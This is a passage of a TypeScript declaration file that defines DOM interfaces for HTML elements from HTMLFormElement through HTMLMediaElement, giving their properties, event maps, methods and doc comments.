  */\\n    item(name?: any, index?: any): any;\\n    /**\\n     * Retrieves a form object or an object from an elements collection.\\n     */\\n    namedItem(name: string): any;\\n    /**\\n     * Fires when the user resets a form.\\n     */\\n    reset(): void;\\n    /**\\n     * Fires when a FORM is about to be submitted.\\n     */\\n    submit(): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLFormElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n    [name: string]: any;\\n}\\n\\ndeclare var HTMLFormElement: {\\n    prototype: HTMLFormElement;\\n    new(): HTMLFormElement;\\n};\\n\\ninterface HTMLFrameElementEventMap extends HTMLElementEventMap {\\n    \"load\": Event;\\n}\\n\\ninterface HTMLFrameElement extends HTMLElement, GetSVGDocument {\\n    /**\\n     * Specifies the properties of a border drawn around an object.\\n     */\\n    border: string;\\n    /**\\n     * Sets or retrieves the border color of the object.\\n     */\\n    borderColor: any;\\n    /**\\n     * Retrieves the document object of the page or frame.\\n     */\\n    readonly contentDocument: Document;\\n    /**\\n     * Retrieves the object of the specified.\\n     */\\n    readonly contentWindow: Window;\\n    /**\\n     * Sets or retrieves whether to display a border for the frame.\\n     */\\n    frameBorder: string;\\n    /**\\n     * Sets or retrieves the amount of additional space between the frames.\\n     */\\n    frameSpacing: any;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: string | number;\\n    /**\\n     * Sets or retrieves a URI to a long description of the object.\\n     */\\n    longDesc: string;\\n    /**\\n     * Sets or retrieves the top and bottom margin heights before displaying the text in a frame.\\n     */\\n    marginHeight: string;\\n    /**\\n     * Sets or retrieves the left and right margin widths before displaying the text in a frame.\\n     */\\n    marginWidth: string;\\n    /**\\n     * Sets or retrieves the frame name.\\n     */\\n    name: string;\\n    /**\\n     * Sets or retrieves whether the user can resize the frame.\\n     */\\n    noResize: boolean;\\n    /**\\n     * Raised when the object has been completely received from the server.\\n     */\\n    onload: (this: HTMLFrameElement, ev: Event) => any;\\n    /**\\n     * Sets or retrieves whether the frame can be scrolled.\\n     */\\n    scrolling: string;\\n    /**\\n     * Sets or retrieves a URL to be loaded by the object.\\n     */\\n    src: string;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: string | number;\\n    addEventListener<K extends keyof HTMLFrameElementEventMap>(type: K, listener: (this: HTMLFrameElement, ev: HTMLFrameElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLFrameElement: {\\n    prototype: HTMLFrameElement;\\n    new(): HTMLFrameElement;\\n};\\n\\ninterface HTMLFrameSetElementEventMap extends HTMLElementEventMap {\\n    \"afterprint\": Event;\\n    \"beforeprint\": Event;\\n    \"beforeunload\": BeforeUnloadEvent;\\n    \"blur\": FocusEvent;\\n    \"error\": ErrorEvent;\\n    \"focus\": FocusEvent;\\n    \"hashchange\": HashChangeEvent;\\n    \"load\": Event;\\n    \"message\": MessageEvent;\\n    \"offline\": Event;\\n    \"online\": Event;\\n    \"orientationchange\": Event;\\n    \"pagehide\": PageTransitionEvent;\\n    \"pageshow\": PageTransitionEvent;\\n    \"popstate\": PopStateEvent;\\n    \"resize\": UIEvent;\\n    \"scroll\": UIEvent;\\n    \"storage\": StorageEvent;\\n    \"unload\": Event;\\n}\\n\\ninterface HTMLFrameSetElement extends HTMLElement {\\n    border: string;\\n    /**\\n     * Sets or retrieves the border color of the object.\\n     */\\n    borderColor: any;\\n    /**\\n     * Sets or retrieves the frame widths of the object.\\n     */\\n    cols: string;\\n    /**\\n     * Sets or retrieves whether to display a border for the frame.\\n     */\\n    frameBorder: string;\\n    /**\\n     * Sets or retrieves the amount of additional space between the frames.\\n     */\\n    frameSpacing: any;\\n    name: string;\\n    onafterprint: (this: HTMLFrameSetElement, ev: Event) => any;\\n    onbeforeprint: (this: HTMLFrameSetElement, ev: Event) => any;\\n    onbeforeunload: (this: HTMLFrameSetElement, ev: BeforeUnloadEvent) => any;\\n    /**\\n     * Fires when the object loses the input focus.\\n     */\\n    onblur: (this: HTMLFrameSetElement, ev: FocusEvent) => any;\\n    onerror: (this: HTMLFrameSetElement, ev: ErrorEvent) => any;\\n    /**\\n     * Fires when the object receives focus.\\n     */\\n    onfocus: (this: HTMLFrameSetElement, ev: FocusEvent) => any;\\n    onhashchange: (this: HTMLFrameSetElement, ev: HashChangeEvent) => any;\\n    onload: (this: HTMLFrameSetElement, ev: Event) => any;\\n    onmessage: (this: HTMLFrameSetElement, ev: MessageEvent) => any;\\n    onoffline: (this: HTMLFrameSetElement, ev: Event) => any;\\n    ononline: (this: HTMLFrameSetElement, ev: Event) => any;\\n    onorientationchange: (this: HTMLFrameSetElement, ev: Event) => any;\\n    onpagehide: (this: HTMLFrameSetElement, ev: PageTransitionEvent) => any;\\n    onpageshow: (this: HTMLFrameSetElement, ev: PageTransitionEvent) => any;\\n    onpopstate: (this: HTMLFrameSetElement, ev: PopStateEvent) => any;\\n    onresize: (this: HTMLFrameSetElement, ev: UIEvent) => any;\\n    onscroll: (this: HTMLFrameSetElement, ev: UIEvent) => any;\\n    onstorage: (this: HTMLFrameSetElement, ev: StorageEvent) => any;\\n    onunload: (this: HTMLFrameSetElement, ev: Event) => any;\\n    /**\\n     * Sets or retrieves the frame heights of the object.\\n     */\\n    rows: string;\\n    addEventListener<K extends keyof HTMLFrameSetElementEventMap>(type: K, listener: (this: HTMLFrameSetElement, ev: HTMLFrameSetElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLFrameSetElement: {\\n    prototype: HTMLFrameSetElement;\\n    new(): HTMLFrameSetElement;\\n};\\n\\ninterface HTMLHeadElement extends HTMLElement {\\n    profile: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLHeadElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLHeadElement: {\\n    prototype: HTMLHeadElement;\\n    new(): HTMLHeadElement;\\n};\\n\\ninterface HTMLHeadingElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves a value that indicates the table alignment.\\n     */\\n    align: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLHeadingElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLHeadingElement: {\\n    prototype: HTMLHeadingElement;\\n    new(): HTMLHeadingElement;\\n};\\n\\ninterface HTMLHRElement extends HTMLElement, DOML2DeprecatedColorProperty, DOML2DeprecatedSizeProperty {\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves whether the horizontal rule is drawn with 3-D shading.\\n     */\\n    noShade: boolean;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLHRElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLHRElement: {\\n    prototype: HTMLHRElement;\\n    new(): HTMLHRElement;\\n};\\n\\ninterface HTMLHtmlElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the DTD version that governs the current document.\\n     */\\n    version: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLHtmlElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLHtmlElement: {\\n    prototype: HTMLHtmlElement;\\n    new(): HTMLHtmlElement;\\n};\\n\\ninterface HTMLIFrameElementEventMap extends HTMLElementEventMap {\\n    \"load\": Event;\\n}\\n\\ninterface HTMLIFrameElement extends HTMLElement, GetSVGDocument {\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    allowFullscreen: boolean;\\n    allowPaymentRequest: boolean;\\n    /**\\n     * Specifies the properties of a border drawn around an object.\\n     */\\n    border: string;\\n    /**\\n     * Retrieves the document object of the page or frame.\\n     */\\n    readonly contentDocument: Document;\\n    /**\\n     * Retrieves the object of the specified.\\n     */\\n    readonly contentWindow: Window;\\n    /**\\n     * Sets or retrieves whether to display a border for the frame.\\n     */\\n    frameBorder: string;\\n    /**\\n     * Sets or retrieves the amount of additional space between the frames.\\n     */\\n    frameSpacing: any;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: string;\\n    /**\\n     * Sets or retrieves the horizontal margin for the object.\\n     */\\n    hspace: number;\\n    /**\\n     * Sets or retrieves a URI to a long description of the object.\\n     */\\n    longDesc: string;\\n    /**\\n     * Sets or retrieves the top and bottom margin heights before displaying the text in a frame.\\n     */\\n    marginHeight: string;\\n    /**\\n     * Sets or retrieves the left and right margin widths before displaying the text in a frame.\\n     */\\n    marginWidth: string;\\n    /**\\n     * Sets or retrieves the frame name.\\n     */\\n    name: string;\\n    /**\\n     * Sets or retrieves whether the user can resize the frame.\\n     */\\n    noResize: boolean;\\n    /**\\n     * Raised when the object has been completely received from the server.\\n     */\\n    onload: (this: HTMLIFrameElement, ev: Event) => any;\\n    readonly sandbox: DOMSettableTokenList;\\n    /**\\n     * Sets or retrieves whether the frame can be scrolled.\\n     */\\n    scrolling: string;\\n    /**\\n     * Sets or retrieves a URL to be loaded by the object.\\n     */\\n    src: string;\\n    /**\\n     * Sets or retrieves the vertical margin for the object.\\n     */\\n    vspace: number;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: string;\\n    addEventListener<K extends keyof HTMLIFrameElementEventMap>(type: K, listener: (this: HTMLIFrameElement, ev: HTMLIFrameElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLIFrameElement: {\\n    prototype: HTMLIFrameElement;\\n    new(): HTMLIFrameElement;\\n};\\n\\ninterface HTMLImageElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves a text alternative to the graphic.\\n     */\\n    alt: string;\\n    /**\\n     * Specifies the properties of a border drawn around an object.\\n     */\\n    border: string;\\n    /**\\n     * Retrieves whether the object is fully loaded.\\n     */\\n    readonly complete: boolean;\\n    crossOrigin: string | null;\\n    readonly currentSrc: string;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: number;\\n    /**\\n     * Sets or retrieves the width of the border to draw around the object.\\n     */\\n    hspace: number;\\n    /**\\n     * Sets or retrieves whether the image is a server-side image map.\\n     */\\n    isMap: boolean;\\n    /**\\n     * Sets or retrieves a Uniform Resource Identifier (URI) to a long description of the object.\\n     */\\n    longDesc: string;\\n    lowsrc: string;\\n    /**\\n     * Gets or sets whether the DLNA PlayTo device is available.\\n     */\\n    msPlayToDisabled: boolean;\\n    msPlayToPreferredSourceUri: string;\\n    /**\\n     * Gets or sets the primary DLNA PlayTo device.\\n     */\\n    msPlayToPrimary: boolean;\\n    /**\\n     * Gets the source associated with the media element for use by the PlayToManager.\\n     */\\n    readonly msPlayToSource: any;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    /**\\n     * The original height of the image resource before sizing.\\n     */\\n    readonly naturalHeight: number;\\n    /**\\n     * The original width of the image resource before sizing.\\n     */\\n    readonly naturalWidth: number;\\n    sizes: string;\\n    /**\\n     * The address or URL of the a media resource that is to be considered.\\n     */\\n    src: string;\\n    srcset: string;\\n    /**\\n     * Sets or retrieves the URL, often with a bookmark extension (#name), to use as a client-side image map.\\n     */\\n    useMap: string;\\n    /**\\n     * Sets or retrieves the vertical margin for the object.\\n     */\\n    vspace: number;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: number;\\n    readonly x: number;\\n    readonly y: number;\\n    msGetAsCastingSource(): any;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLImageElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLImageElement: {\\n    prototype: HTMLImageElement;\\n    new(): HTMLImageElement;\\n};\\n\\ninterface HTMLInputElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves a comma-separated list of content types.\\n     */\\n    accept: string;\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves a text alternative to the graphic.\\n     */\\n    alt: string;\\n    /**\\n     * Specifies whether autocomplete is applied to an editable text field.\\n     */\\n    autocomplete: string;\\n    /**\\n     * Provides a way to direct a user to a specific field when a document loads. This can provide both direction and convenience for a user, reducing the need to click or tab to a field when a page opens. This attribute is true when present on an element, and false when missing.\\n     */\\n    autofocus: boolean;\\n    /**\\n     * Sets or retrieves the width of the border to draw around the object.\\n     */\\n    border: string;\\n    /**\\n     * Sets or retrieves the state of the check box or radio button.\\n     */\\n    checked: boolean;\\n    /**\\n     * Retrieves whether the object is fully loaded.\\n     */\\n    readonly complete: boolean;\\n    /**\\n     * Sets or retrieves the state of the check box or radio button.\\n     */\\n    defaultChecked: boolean;\\n    /**\\n     * Sets or retrieves the initial contents of the object.\\n     */\\n    defaultValue: string;\\n    disabled: boolean;\\n    /**\\n     * Returns a FileList object on a file type input object.\\n     */\\n    readonly files: FileList | null;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Overrides the action attribute (where the data on a form is sent) on the parent form element.\\n     */\\n    formAction: string;\\n    /**\\n     * Used to override the encoding (formEnctype attribute) specified on the form element.\\n     */\\n    formEnctype: string;\\n    /**\\n     * Overrides the submit method attribute previously specified on a form element.\\n     */\\n    formMethod: string;\\n    /**\\n     * Overrides any validation or required attributes on a form or form elements to allow it to be submitted without validation. This can be used to create a \"save draft\"-type submit option.\\n     */\\n    formNoValidate: string;\\n    /**\\n     * Overrides the target attribute on a form element.\\n     */\\n    formTarget: string;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: string;\\n    /**\\n     * Sets or retrieves the width of the border to draw around the object.\\n     */\\n    hspace: number;\\n    indeterminate: boolean;\\n    /**\\n     * Specifies the ID of a pre-defined datalist of options for an input element.\\n     */\\n    readonly list: HTMLElement;\\n    /**\\n     * Defines the maximum acceptable value for an input element with type=\"number\".When used with the min and step attributes, lets you control the range and increment (such as only even numbers) that the user can enter into an input field.\\n     */\\n    max: string;\\n    /**\\n     * Sets or retrieves the maximum number of characters that the user can enter in a text control.\\n     */\\n    maxLength: number;\\n    /**\\n     * Defines the minimum acceptable value for an input element with type=\"number\". When used with the max and step attributes, lets you control the range and increment (such as even numbers only) that the user can enter into an input field.\\n     */\\n    min: string;\\n    /**\\n     * Sets or retrieves the Boolean value indicating whether multiple items can be selected from a list.\\n     */\\n    multiple: boolean;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    /**\\n     * Gets or sets a string containing a regular expression that the user\\'s input must match.\\n     */\\n    pattern: string;\\n    /**\\n     * Gets or sets a text string that is displayed in an input field as a hint or prompt to users as the format or type of information they need to enter.The text appears in an input field until the user puts focus on the field.\\n     */\\n    placeholder: string;\\n    readOnly: boolean;\\n    /**\\n     * When present, marks an element that can\\'t be submitted without a value.\\n     */\\n    required: boolean;\\n    selectionDirection: string;\\n    /**\\n     * Gets or sets the end position or offset of a text selection.\\n     */\\n    selectionEnd: number;\\n    /**\\n     * Gets or sets the starting position or offset of a text selection.\\n     */\\n    selectionStart: number;\\n    size: number;\\n    /**\\n     * The address or URL of the a media resource that is to be considered.\\n     */\\n    src: string;\\n    status: boolean;\\n    /**\\n     * Defines an increment or jump between values that you want to allow the user to enter. When used with the max and min attributes, lets you control the range and increment (for example, allow only even numbers) that the user can enter into an input field.\\n     */\\n    step: string;\\n    /**\\n     * Returns the content type of the object.\\n     */\\n    type: string;\\n    /**\\n     * Sets or retrieves the URL, often with a bookmark extension (#name), to use as a client-side image map.\\n     */\\n    useMap: string;\\n    /**\\n     * Returns the error message that would be displayed if the user submits the form, or an empty string if no error message. It also triggers the standard error message, such as \"this is a required field\". The result is that the user sees validation messages without actually submitting.\\n     */\\n    readonly validationMessage: string;\\n    /**\\n     * Returns a  ValidityState object that represents the validity states of an element.\\n     */\\n    readonly validity: ValidityState;\\n    /**\\n     * Returns the value of the data at the cursor\\'s current position.\\n     */\\n    value: string;\\n    valueAsDate: Date;\\n    /**\\n     * Returns the input field value as a number.\\n     */\\n    valueAsNumber: number;\\n    /**\\n     * Sets or retrieves the vertical margin for the object.\\n     */\\n    vspace: number;\\n    webkitdirectory: boolean;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: string;\\n    /**\\n     * Returns whether an element will successfully validate based on forms validation rules and constraints.\\n     */\\n    readonly willValidate: boolean;\\n    minLength: number;\\n    /**\\n     * Returns whether a form will validate when it is submitted, without having to submit it.\\n     */\\n    checkValidity(): boolean;\\n    /**\\n     * Makes the selection equal to the current object.\\n     */\\n    select(): void;\\n    /**\\n     * Sets a custom error message that is displayed when a form is submitted.\\n     * @param error Sets a custom error message that is displayed when a form is submitted.\\n     */\\n    setCustomValidity(error: string): void;\\n    /**\\n     * Sets the start and end positions of a selection in a text field.\\n     * @param start The offset into the text field for the start of the selection.\\n     * @param end The offset into the text field for the end of the selection.\\n     */\\n    setSelectionRange(start?: number, end?: number, direction?: string): void;\\n    /**\\n     * Decrements a range input control\\'s value by the value given by the Step attribute. If the optional parameter is used, it will decrement the input control\\'s step value multiplied by the parameter\\'s value.\\n     * @param n Value to decrement the value by.\\n     */\\n    stepDown(n?: number): void;\\n    /**\\n     * Increments a range input control\\'s value by the value given by the Step attribute. If the optional parameter is used, will increment the input control\\'s value by that value.\\n     * @param n Value to increment the value by.\\n     */\\n    stepUp(n?: number): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLInputElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLInputElement: {\\n    prototype: HTMLInputElement;\\n    new(): HTMLInputElement;\\n};\\n\\ninterface HTMLLabelElement extends HTMLElement {\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Sets or retrieves the object to which the given label object is assigned.\\n     */\\n    htmlFor: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLLabelElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLLabelElement: {\\n    prototype: HTMLLabelElement;\\n    new(): HTMLLabelElement;\\n};\\n\\ninterface HTMLLegendElement extends HTMLElement {\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    align: string;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLLegendElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLLegendElement: {\\n    prototype: HTMLLegendElement;\\n    new(): HTMLLegendElement;\\n};\\n\\ninterface HTMLLIElement extends HTMLElement {\\n    type: string;\\n    /**\\n     * Sets or retrieves the value of a list item.\\n     */\\n    value: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLLIElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLLIElement: {\\n    prototype: HTMLLIElement;\\n    new(): HTMLLIElement;\\n};\\n\\ninterface HTMLLinkElement extends HTMLElement, LinkStyle {\\n    /**\\n     * Sets or retrieves the character set used to encode the object.\\n     */\\n    charset: string;\\n    disabled: boolean;\\n    /**\\n     * Sets or retrieves a destination URL or an anchor point.\\n     */\\n    href: string;\\n    /**\\n     * Sets or retrieves the language code of the object.\\n     */\\n    hreflang: string;\\n    /**\\n     * Sets or retrieves the media type.\\n     */\\n    media: string;\\n    /**\\n     * Sets or retrieves the relationship between the object and the destination of the link.\\n     */\\n    rel: string;\\n    /**\\n     * Sets or retrieves the relationship between the object and the destination of the link.\\n     */\\n    rev: string;\\n    /**\\n     * Sets or retrieves the window or frame at which to target content.\\n     */\\n    target: string;\\n    /**\\n     * Sets or retrieves the MIME type of the object.\\n     */\\n    type: string;\\n    import?: Document;\\n    integrity: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLLinkElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLLinkElement: {\\n    prototype: HTMLLinkElement;\\n    new(): HTMLLinkElement;\\n};\\n\\ninterface HTMLMapElement extends HTMLElement {\\n    /**\\n     * Retrieves a collection of the area objects defined for the given map object.\\n     */\\n    readonly areas: HTMLAreasCollection;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLMapElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLMapElement: {\\n    prototype: HTMLMapElement;\\n    new(): HTMLMapElement;\\n};\\n\\ninterface HTMLMarqueeElementEventMap extends HTMLElementEventMap {\\n    \"bounce\": Event;\\n    \"finish\": Event;\\n    \"start\": Event;\\n}\\n\\ninterface HTMLMarqueeElement extends HTMLElement {\\n    behavior: string;\\n    bgColor: any;\\n    direction: string;\\n    height: string;\\n    hspace: number;\\n    loop: number;\\n    onbounce: (this: HTMLMarqueeElement, ev: Event) => any;\\n    onfinish: (this: HTMLMarqueeElement, ev: Event) => any;\\n    onstart: (this: HTMLMarqueeElement, ev: Event) => any;\\n    scrollAmount: number;\\n    scrollDelay: number;\\n    trueSpeed: boolean;\\n    vspace: number;\\n    width: string;\\n    start(): void;\\n    stop(): void;\\n    addEventListener<K extends keyof HTMLMarqueeElementEventMap>(type: K, listener: (this: HTMLMarqueeElement, ev: HTMLMarqueeElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLMarqueeElement: {\\n    prototype: HTMLMarqueeElement;\\n    new(): HTMLMarqueeElement;\\n};\\n\\ninterface HTMLMediaElementEventMap extends HTMLElementEventMap {\\n    \"encrypted\": MediaEncryptedEvent;\\n    \"msneedkey\": MSMediaKeyNeededEvent;\\n}\\n\\ninterface HTMLMediaElement extends HTMLElement {\\n    /**\\n     * Returns an AudioTrackList object with the audio tracks for a given video element.\\n     */\\n    readonly audioTracks: AudioTrackList;\\n    /**\\n     * Gets or sets a value that indicates whether to start playing the media automatically.\\n     */\\n    autoplay: boolean;\\n    /**\\n     * Gets a collection of buffered time ranges.\\n     */\\n    readonly buffered: TimeRanges;\\n    /**\\n     * Gets or sets a flag that indicates whether the client provides a set of controls for the media (in case the developer does not include controls for the player).\\n     */\\n    controls: boolean;\\n    crossOrigin: string | null;\\n    /**\\n     * Gets the address or URL of the current media resource that is selected by IHTMLMediaElement.\\n     */\\n    readonly currentSrc: string;\\n    /**\\n     * Gets or sets the current playback position, in seconds.\\n     */\\n    currentTime: number;\\n    defaultMuted: boolean;\\n    /**\\n     * Gets or sets the default playback rate when the user is not using fast forward or reverse for a video or audio resource.\\n     */\\n    defaultPlaybackRate: number;\\n    /**\\n     * Returns the duration in seconds of the current media resource. A NaN value is returned if duration is not available, or Infinity if the media resource is streaming.\\n     */\\n    readonly duration: number;\\n    /**\\n     * Gets information about whether the playback has ended or not.\\n     */\\n    readonly ended: boolean;\\n    /**\\n     * Returns an object representing the current error state of the audio or video element.\\n     */\\n    readonly error: MediaError;\\n    /**\\n     * Gets or sets a flag to specify whether playback should restart after it completes.\\n     */\\n    loop: boolean;\\n    readonly mediaKeys: MediaKeys | null;\\n    /**\\n     * Specifies the purpose of the audio or video media, such as background audio or alerts.\\n     */\\n    msAudioCategory: string;\\n    /**\\n     * Specifies the output device id that the audio will be sent to.\\n     */\\n    msAudioDeviceType: string;\\n    readonly msGraphicsTrustStatus: MSGraphicsTrust;\\n    /**\\n     * Gets the MSMediaKeys object, which is used for decrypting media data, that is associated with this media element.\\n     */\\n    readonly msKeys: MSMediaKeys;\\n    /**\\n     * Gets or sets whether the DLNA PlayTo device is available.\\n     */\\n    msPlayToDisabled: boolean;\\n    /**\\n     * Gets or sets the path to the preferred media source. This enables the Play To target device to stream the media content, which can be DRM protected, from a different location, such as a cloud media server.\\n     */\\n    msPlayToPreferredSourceUri: string;\\n    /**\\n     * Gets or sets the primary DLNA PlayTo device.\\n     */\\n    msPlayToPrimary: boolean;\\n    /**\\n     * Gets the source associated with the media element for use by the PlayToManager.\\n     */\\n    readonly msPlayToSource: any;\\n    /**\\n     * Specifies whether or not to enable low-latency playback on the media element.\\n     */\\n    msRealTime: boolean;\\n    /**\\n     * Gets or sets a flag that indicates whether the audio (either audio or the audio track on video media) is muted.\\n     */\\n    muted: boolean;\\n    /**\\n     * Gets the current network activity for the element.\\n     */\\n    readonly networkState: number;\\n    onencrypted: (this: HTMLMediaElement, ev: MediaEncryptedEvent) => any;\\n    onmsneedkey: (this: HTMLMediaElement, ev: MSMediaKeyNeededEvent) => any;\\n    /**\\n     * Gets a flag that specifies whether playback is paused.\\n     */\\n    readonly paused: boolean;\\n    /**\\n     * Gets or sets the current rate of speed for the media resource to play. This speed is expressed as a multiple of the normal speed of the media resource.\\n     */\\n    playbackRate: number;\\n    /**\\n     * Gets TimeRanges for the current media resource that has been played.\\n     */\\n    readonly played: TimeRanges;\\n    /**\\n     * Gets or sets the current playback position, in seconds.\\n     */\\n    preload: string;\\n    readyState: number;\\n    /**\\n     * Returns a TimeRanges object that represents the ranges of the current media resource that can be seeked.\\n     */\\n    readonly seekable: TimeRanges;\\n    /**\\n     * Gets a flag that indicates whether the the client is currently moving to a new playback position in the media resource.\\n     */\\n    readonly seeking: boolean;\\n    /**\\n     * The address or URL of the a media resource that is to be considered.\\n     */\\n    src: string;\\n    srcObject: MediaStream | null;\\n    readonly textTracks: TextTrackList;\\n    readonly videoTracks: VideoTrackList;\\n    /**\\n     * Gets or sets the volume level for audio portions of the media element.\\n     */\\n    volume: number;\\n    addTextTrack(kind: string, label?: string, language?: string): TextTrack;\\n    /**\\n     * Returns a string that specifies whether the client can play a given media resource type.\\n     */\\n    canPlayType(type: string): string;\\n    /**\\n     * Resets the audio or video object and loads a new media resource.\\n     */\\n    load(): void;\\n    /**\\n     * Clears all effects from the media pipeline.\\n     */\\n    msClearEffects(): void;\\n    msGetAsCastingSource(): any;\\n    /**\\n     * Inserts the specified audio effect into media pipeline.\\n     */\\n    msInsertAudioEffect(activatableClassId: string, effectRequired: boolean, config?: any): void;\\n    msSetMediaKeys(mediaKeys: MSMediaKeys): void;\\n    /**\\n     * Specifies the media protection manager for a given media pipeline.\\n     */\\n    msSetMediaProtectionManager(mediaProtectionManager?: any): void;\\n    /**\\n     * Pauses the current playback and sets paused to TRUE. This can be used to test whether the media is playing or paused. You can also use the pause or play events to tell whether the media is playing or not.\\n     */\\n    pause(): void;\\n    /**\\n     * Loads and starts playback of a media resource.\\n     */\\n    play(): Promise<void>;\\n    setMediaKeys(mediaKeys: MediaKeys | null): Promise<void>;\\n    readonly HAVE_CURRENT_DATA: number;\\n    readonly HAVE_ENOUGH_DATA: number;\\n    readonly HAVE_FUTURE_DATA: number;\\n    readonly HAVE_METADATA: number;\\n    readonly HAVE_NOTHING: number;\\n    readonly NETWORK_EMPTY: number;\\n    readonly NETWORK_IDLE: number;\\n    readonly NETWORK_LOADING: number;\\n    readonly NETWORK_NO_SOURCE: number;\\n    addEventListener<K extends keyof HTMLMediaElementEventMap>(type: K, listener: (this: HTMLMediaElement, ev: HTMLMediaElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLMediaElement: {\\n    prototype: HTMLMediaElement;\\n    new(): HTMLMediaElement;\\n    readonly HAVE_CURRENT_DATA: number;\\n    readonly HAVE_ENOUGH_DATA: number;\\n    readonly HAVE_FUTURE_DATA: number;\\n    readonly HAVE_METADATA: number;\\n    readonly HAVE_NOTHING: number;\\n    readonly NETWORK_EMPTY: number;\\n    readonly NETWORK_IDLE: number;\\n    readonly NETWORK_LOADING: number;\\n    readonly NETWORK_NO_SOURCE: 